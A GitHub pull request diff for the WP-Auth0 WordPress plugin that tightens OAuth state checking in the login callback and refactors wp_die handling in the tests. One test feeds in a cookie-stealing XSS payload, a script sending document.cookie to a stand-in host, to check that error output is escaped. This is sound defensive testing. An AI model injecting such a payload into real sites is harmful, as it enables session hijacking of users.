Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Check state in specific global based on callback type #708

Merged
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
19 changes: 7 additions & 12 deletions lib/WP_Auth0_LoginManager.php
Expand Up @@ -155,7 +155,8 @@ public function init_auth0() {
set_query_var( 'auth0_login_successful', false );

// Not an Auth0 login process or settings are not configured to allow logins.
if ( ! $this->query_vars( 'auth0' ) || ! WP_Auth0::ready() ) {
$cb_type = $this->query_vars( 'auth0' );
if ( ! $cb_type || ! WP_Auth0::ready() ) {
return false;
}

Expand All @@ -173,15 +174,14 @@ public function init_auth0() {
exit;
}

// Check for valid state nonce, set in WP_Auth0_Lock10_Options::get_state_obj().
// See https://auth0.com/docs/protocols/oauth2/oauth-state for more info.
$state_returned = $this->query_vars( 'state' );
if ( ! $state_returned || ! WP_Auth0_State_Handler::get_instance()->validate( $state_returned ) ) {
// Check for valid state value returned from Auth0.
$cb_req = 'implicit' === $cb_type ? $_POST : $_GET;
if ( empty( $cb_req['state'] ) || ! WP_Auth0_State_Handler::get_instance()->validate( $cb_req['state'] ) ) {
$this->die_on_login( __( 'Invalid state', 'wp-auth0' ) );
}

try {
if ( $this->query_vars( 'auth0' ) === 'implicit' ) {
if ( $cb_type === 'implicit' ) {
$this->implicit_login();
} else {
$this->redirect_login();
Expand Down Expand Up @@ -280,6 +280,7 @@ public function redirect_login() {
* @link https://auth0.com/docs/api-auth/tutorials/implicit-grant
*/
public function implicit_login() {

if ( empty( $_POST['id_token'] ) && empty( $_POST['token'] ) ) {
throw new WP_Auth0_LoginFlowValidationException( __( 'No ID token found', 'wp-auth0' ) );
}
Expand Down Expand Up @@ -639,12 +640,6 @@ protected function query_vars( $key ) {
if ( isset( $_REQUEST[ $key ] ) ) {
return $_REQUEST[ $key ];
}
if ( isset( $_GET[ $key ] ) ) {
return $_GET[ $key ];
}
if ( isset( $_POST[ $key ] ) ) {
return $_POST[ $key ];
}
return null;
}

Expand Down
4 changes: 4 additions & 0 deletions tests/classes/WP_Auth0_Test_Case.php
Expand Up @@ -94,6 +94,10 @@ public function tearDown() {
$this->stopRedirectHalting();
}

if ( method_exists( $this, 'stopWpDieHalting' ) ) {
$this->stopWpDieHalting();
}

global $wpdb;
delete_user_meta( 1, $wpdb->prefix . 'auth0_id' );
delete_user_meta( 1, $wpdb->prefix . 'auth0_obj' );
Expand Down
93 changes: 16 additions & 77 deletions tests/testLoginManagerInitAuth0.php
Expand Up @@ -19,6 +19,8 @@ class TestLoginManagerInitAuth0 extends WP_Auth0_Test_Case {

use UsersHelper;

use WpDieHelper;

/**
* WP_Auth0_LoginManager instance to test.
*
Expand All @@ -32,41 +34,13 @@ class TestLoginManagerInitAuth0 extends WP_Auth0_Test_Case {
public function setUp() {
parent::setUp();
$this->login = new WP_Auth0_LoginManager( new WP_Auth0_UsersRepo( self::$opts ), self::$opts );
add_filter( 'wp_die_handler', [ 'TestLoginManagerInitAuth0', 'wp_die_handler' ] );
}

/**
* Runs after each test method.
*/
public function tearDown() {
parent::tearDown();
remove_filter( 'wp_die_handler', [ 'TestLoginManagerInitAuth0', 'wp_die_handler' ] );
}

/**
* Provide the function to handle wp_die.
*
* @return array
*/
public static function wp_die_handler() {
return [ 'TestLoginManagerInitAuth0', 'wp_die_die' ];
}

/**
* Handle wp_die.
*
* @param string $html - Passed-in HTML to display.
*
* @throws \Exception - Always.
*/
public static function wp_die_die( $html ) {
throw new Exception( $html );
}

/**
* Test that Auth0 is not initialized if the plugin is not ready or if the callback URL is not correct.
*/
public function testThatNothingHappensIfNotReady() {
$this->startWpDieHalting();
$this->assertFalse( $this->login->init_auth0() );
$_REQUEST['auth0'] = 1;
$this->assertFalse( $this->login->init_auth0() );
Expand All @@ -89,6 +63,8 @@ public function testThatNothingHappensIfNotReady() {
* Test that an error in the URL parameter stops the callback with an error.
*/
public function testThatErrorInUrlStopsCallback() {
$this->startWpDieHalting();

self::$opts->set( 'domain', 'test.auth0.com' );
self::$opts->set( 'client_id', '__test_client_id__' );
self::$opts->set( 'client_secret', uniqid() );
Expand All @@ -110,55 +86,12 @@ public function testThatErrorInUrlStopsCallback() {
$this->assertContains( '<a href="https://test.auth0.com/v2/logout?client_id=__test_client_id__', $output );
}

public function testThatQueryVarIsFound() {
self::auth0Ready();
set_query_var( 'auth0', 1 );

$output = '';
try {
$this->login->init_auth0();
} catch ( Exception $e ) {
$output = $e->getMessage();
}

// This error means that the callback was triggered, which is what we are testing for.
$this->assertContains( 'There was a problem with your log in: Invalid state', $output );
}

public function testThatGetVarIsFound() {
self::auth0Ready();
$_GET['auth0'] = 1;

$output = '';
try {
$this->login->init_auth0();
} catch ( Exception $e ) {
$output = $e->getMessage();
}

// This error means that the callback was triggered, which is what we are testing for.
$this->assertContains( 'There was a problem with your log in: Invalid state', $output );
}

public function testThatPostVarIsFound() {
self::auth0Ready();
$_POST['auth0'] = 1;

$output = '';
try {
$this->login->init_auth0();
} catch ( Exception $e ) {
$output = $e->getMessage();
}

// This error means that the callback was triggered, which is what we are testing for.
$this->assertContains( 'There was a problem with your log in: Invalid state', $output );
}

/**
* Test that an error in the URL parameter logs the current user out.
*/
public function testThatErrorInUrlLogsUserOut() {
$this->startWpDieHalting();

self::auth0Ready();
$_REQUEST['auth0'] = 1;
$_REQUEST['error'] = uniqid();
Expand All @@ -178,6 +111,8 @@ public function testThatErrorInUrlLogsUserOut() {
* Test that an error in the URL parameter does not allow XSS.
*/
public function testThatErrorInUrlAvoidsXss() {
$this->startWpDieHalting();

self::auth0Ready();
$_REQUEST['auth0'] = 1;
$_REQUEST['error'] = '<script>window.location="xss.com?cookie="+document.cookie</script>';
Expand All @@ -197,6 +132,8 @@ public function testThatErrorInUrlAvoidsXss() {
* Test that a logged-in user is redirected from the callback without any processing.
*/
public function testThatLoggedInUserIsRedirected() {
$this->startWpDieHalting();

$this->startRedirectHalting();
$_REQUEST['auth0'] = 1;
self::auth0Ready();
Expand All @@ -213,13 +150,15 @@ public function testThatLoggedInUserIsRedirected() {
}

/**
* Test that invalid state stops the callback with an error.
* Test that missing state stops the callback with an error.
*/
public function testThatInvalidStateStopsCallback() {
$_REQUEST['auth0'] = 1;
public function testThatMissingStateStopsCallback() {
$this->startWpDieHalting();

self::$opts->set( 'domain', 'test.auth0.com' );
self::$opts->set( 'client_id', '__test_client_id__' );
self::$opts->set( 'client_secret', uniqid() );
$_REQUEST['auth0'] = 1;

$output = '';
try {
Expand Down
49 changes: 49 additions & 0 deletions tests/traits/wpDieHelper.php
@@ -0,0 +1,49 @@
<?php
/**
* Contains Trait WpDieHelper.
*
* @package WP-Auth0
*
* @since 3.11.1
*/

/**
* Trait WpDieHelper.
*/
trait WpDieHelper {

/**
* Start halting all wp_die calls.
* Use this at the top of tests that should check HTTP requests.
*/
public function startWpDieHalting() {
add_filter( 'wp_die_handler', [ $this, 'wpDieHandler' ] );
}

/**
* Provide the function to handle wp_die.
*
* @return array
*/
public function wpDieHandler() {
return [ $this, 'haltWpDie' ];
}

/**
* Handle wp_die.
*
* @param string $html - Passed-in HTML to display.
*
* @throws \Exception - Always.
*/
public function haltWpDie( $html ) {
throw new Exception( $html );
}

/**
* Stop halting wp_die.
*/
public function stopWpDieHalting() {
remove_filter( 'wp_die_handler', [ $this, 'wpDieHandler' ] );
}
}